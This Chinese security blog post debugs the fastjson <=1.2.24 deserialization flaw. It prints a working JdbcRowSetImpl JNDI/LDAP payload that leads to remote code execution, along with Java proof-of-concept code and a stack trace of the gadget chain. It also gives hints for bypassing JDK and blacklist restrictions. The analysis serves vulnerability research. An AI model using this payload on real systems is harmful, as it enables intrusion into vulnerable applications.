Fastjson反序列化漏洞调试分析

0x00 攻击向量

fastjson攻击有2个条件:

  • 版本限制,<=1.2.24。之后禁止了autoType自动类型判断。
  • 写法有限制,具体看代码。

攻击利用了fastjson的@type属性,使用它可以指定实例化对象的类。Payload有几个,这里挑最普遍使用的JNDI方法来分析原理。 payload如下,利用参考marshalsec

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public Object exp1(){

//JDK 8u121以后版本需要设置改系统变量
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
//LADP
String payload1 = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.01:1389/Exploit\",\"autoCommit\":true}";

/**
* POC 调用了com.sun.rowset.JdbcRowSetImpl构造函数和属性的set、get函数,这里setAutoCommit是入口点,调用了Context.lookup方法。
*/
Object object = JSONObject.parseObject(payload1);
//JSON.parse(payload2);
return object;
}

关于JNDI,记下我的理解:

  • JNDI的Sink利用点找Context的Lookup方法。在JDK 1.8.0_191之前可以直接引用远程Java字节码进行RCE。JDK 1.8.0_191之后,需要利用Tomcat8的Gadaget环境RCE。
  • RMI和JNDI很类似,基本没区别。RMI连接可以使用JRMP技术绕过一些黑名单限制(参考WebLogic)。

0x01 调试分析

有这么一个问题,能否套用Java反序列化方法,来攻击fastjson? 为了回答这个问题,我写了个Demo来看看fastjson序列化过程会调用哪些方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
public class User {
private String name;
private int age;

public String getName() {
System.out.println("getName()");
return name;
}

public void setName(String name) {
System.out.println("setName()");
this.name = name;
}

public int getAge() {
System.out.println("getAge()");
return age;
}

public void setAge(int age) {
System.out.println("setAge()");
this.age = age;
}

public User(){
System.out.println("construct user()");
}

private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
in.defaultReadObject();
System.out.println("! readObject Method~");
}
}

public static void main2() throws Exception {
String jsonString = "{\"@type\":\"ysoserial.exploit.fastjson.User\",\"age\":12,\"name\":\"angelwhu\"}";
User object = JSON.parseObject(jsonString, User.class);
System.out.println(object);
/**
* 调用construct user()
* setAge()
* setName()
*/


// Object object = JSON.parseObject(jsonString);
// System.out.println(object);
/**
* 调用:construct user()
* setAge()
* setName()
* getAge()
* getName()
*
*/
}

结果我写在代码注释里面了,总结一下就是:

  • JSON.parseObject会调用所有属性get方法、以及JSON里面属性的set方法,构造方法。JSON.parseObject(*,*.class)只调用JSON里面属性的set方法(setAge等),构造方法。
  • 不会调用ReadObject方法。

第二个就是造成和Java Native层面的反序列化漏洞不一样了。我们现在需要找的是set、get方法为入口的利用,而非ReadObject为入口的利用。 明白基本原理后,调试走起。在JdbcRowSetImplconnect方法打断点,Run POC观察调用栈。
调用栈Dump出来,中可以完整利用链:JavaBeanDeserializer.deserialze -> FieldDeserializer.setValue -> 通过反射调用setAutoCommit方法给属性赋值 -> JNDI连接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
java.lang.Thread.State: RUNNABLE
at com.sun.rowset.JdbcRowSetImpl.connect(JdbcRowSetImpl.java:624)
at com.sun.rowset.JdbcRowSetImpl.setAutoCommit(JdbcRowSetImpl.java:4067)
at sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:498)
at com.alibaba.fastjson.parser.deserializer.FieldDeserializer.setValue(FieldDeserializer.java:96)
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:593)
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseRest(JavaBeanDeserializer.java:922)
at com.alibaba.fastjson.parser.deserializer.FastjsonASMDeserializer_1_JdbcRowSetImpl.deserialze(Unknown Source:-1)
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:184)
at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:368)
at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1327)
at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1293)
at com.alibaba.fastjson.JSON.parse(JSON.java:137)
at com.alibaba.fastjson.JSON.parse(JSON.java:128)
at com.alibaba.fastjson.JSON.parseObject(JSON.java:201)
at ysoserial.exploit.fastjson.FastJsonExp.exp1(FastJsonExp.java:32)
at ysoserial.exploit.fastjson.FastJsonExp.main(FastJsonExp.java:17)

0X03 参考和代码

代码里面看着比较清晰,请看我的github,欢迎点赞。https://github.com/angelwhu/ysoserial-my http://www.code2sec.com/javafan-xu-lie-hua-lou-dong-xue-xi-shi-jian-qi-fastjsonfan-xu-lie-hua-pochui-zong.html
https://www.kanxue.com/book-19-89.htm
https://xz.aliyun.com/t/2272

文章作者: angelwhu
文章链接: https://www.angelwhu.com/paper/2019/05/11/fastjson-deserialization-vulnerability-debugging-analysis/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 angelwhu_blog